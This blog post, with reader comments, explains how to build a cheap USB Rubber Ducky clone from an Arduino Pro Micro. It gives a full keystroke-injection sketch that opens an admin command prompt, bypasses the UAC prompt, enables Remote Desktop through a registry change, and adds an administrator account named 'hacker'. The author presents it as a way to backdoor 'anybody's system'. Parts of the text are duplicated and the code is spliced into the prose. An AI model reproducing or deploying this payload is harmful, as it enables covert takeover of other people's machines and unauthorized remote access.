Recreating a USB Rubber Ducky under $4 in India
Holla Guys,
It's been a while I have been on my very own domain :P Anyways, today I would like to show you guys few things I have done in the past few years. I have been playing around with a lot of Arduino chips and ended up creating a clone of the USB Rubber Ducky using the keyboard libraries.
By using cheap Arduino chips I was not only able to run commands on my computer system but was able to bypass Android 4-Digit lock in less than 2 hours. So how was i able to do it? The very first thing we require is an Arduino Pro Micro Chip. You will find it on Amazon, Ebay or anywhere else and it would cost around 800-900 Rupees which is a lot of money :P So, I chose to go with Aliexpress and got the chips for less than $4. Having the chip, all you need to is to use a USB - Micro Cable to connect your new Arduino chip to the system. For all the folks who know about Arduino's please feel free to skip one or two paragraphs. You will need the Arduino IDE (Download and install). You will also need to set your board to Arduino Leonardo(Compatible with Arduino Pro Micro)
Next, all we need to do is to interpret our required functionality in the form of keystrokes and build a program around it. Keyboard.press() function will type the required key for us while Keyboard.release() will release a particular key. Another important function is Keyboard.releaseAll() which will release all the pressed keys at once. Say, "CTRL+SHIFT+DEL" pressing this combination will require you to press one key after the other while holding them all and releasing them together. Similar combinations are required for any combinations we want. The beauty of the Arduino is that it types in so fast that barely a human eye could catch(if very little delays are present). Let's say we need to open an admin prompt; we will first press the left windows key, then we will type in cmd, then right clicking cmd(CTRL+SHIFT+F10), then a down arrow key and finally enter key. However, if UAC is enabled another Right Arrow Press Followed by an Enter is required. You can understand the functionality through the following image:
So, let's simply create an example program which will Bypass UAC, Enable RDP and add a user named hacker to the system as follows:
Enjoy!!
It's been a while I have been on my very own domain :P Anyways, today I would like to show you guys few things I have done in the past few years. I have been playing around with a lot of Arduino chips and ended up creating a clone of the USB Rubber Ducky using the keyboard libraries.
Arduino Chips for Hacking |
By using cheap Arduino chips I was not only able to run commands on my computer system but was able to bypass Android 4-Digit lock in less than 2 hours. So how was i able to do it? The very first thing we require is an Arduino Pro Micro Chip. You will find it on Amazon, Ebay or anywhere else and it would cost around 800-900 Rupees which is a lot of money :P So, I chose to go with Aliexpress and got the chips for less than $4. Having the chip, all you need to is to use a USB - Micro Cable to connect your new Arduino chip to the system. For all the folks who know about Arduino's please feel free to skip one or two paragraphs. You will need the Arduino IDE (Download and install). You will also need to set your board to Arduino Leonardo(Compatible with Arduino Pro Micro)
Next, all we need to do is to interpret our required functionality in the form of keystrokes and build a program around it. Keyboard.press() function will type the required key for us while Keyboard.release() will release a particular key. Another important function is Keyboard.releaseAll() which will release all the pressed keys at once. Say, "CTRL+SHIFT+DEL" pressing this combination will require you to press one key after the other while holding them all and releasing them together. Similar combinations are required for any combinations we want. The beauty of the Arduino is that it types in so fast that barely a human eye could catch(if very little delays are present). Let's say we need to open an admin prompt; we will first press the left windows key, then we will type in cmd, then right clicking cmd(CTRL+SHIFT+F10), then a down arrow key and finally enter key. However, if UAC is enabled another Right Arrow Press Followed by an Enter is required. You can understand the functionality through the following image:
void setup() {Loading this program into the Arduino, we can backdoor anybody's system with a new user account and can remote connect to the system. However, using a little modification you can also obtain the IP address of the system as well. I have already created a demonstration exploiting the CTRL+SHIFT+PRNTSCR functionality at login time which can be found below:
Keyboard.begin();
delay(3000);
type(KEY_LEFT_GUI,false);
Keyboard.releaseAll();
delay(100);
print(F("cmd.exe"));
delay(1000);
type(KEY_LEFT_CTRL,false);
type(KEY_LEFT_SHIFT,false);
type(KEY_F10,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(500);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(2000);
type(KEY_LEFT_ARROW,false);
Keyboard.releaseAll();
delay(100);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(1000);
print(F("reg add "));
delay(1000);
String abc= "\\";
print(F("\"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\""));
delay(1000);
print(F(" /v fDenyTSConnections /t REG_DWORD /d 0 /f"));
delay(2000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("net user hacker hacker /add"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(5000);
print(F("net localgroup administrators hacker /add"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(5000);
print(F("exit"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
void type(int key, boolean release) {
Keyboard.press(key);
if(release)
Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
Keyboard.print(value);
}
void loop(){}
Enjoy!!
how to prevent the attack while modifying code
ReplyDeletehow to prevent the attack while modifying code
ReplyDeleteProbably by hooking the keyboard functions... Else very difficult
DeleteGreat work..can u link the product used for creating backdoor..! Plz.
ReplyDeleteIt's arduino pro micro.. you can buy it off over aliexpress New Pro Micro for arduino ATmega32U4 5V/16MHz Module with 2 row pin header For Leonardo best quality
Deletehttp://s.aliexpress.com/qaABNF7v
(from AliExpress Android)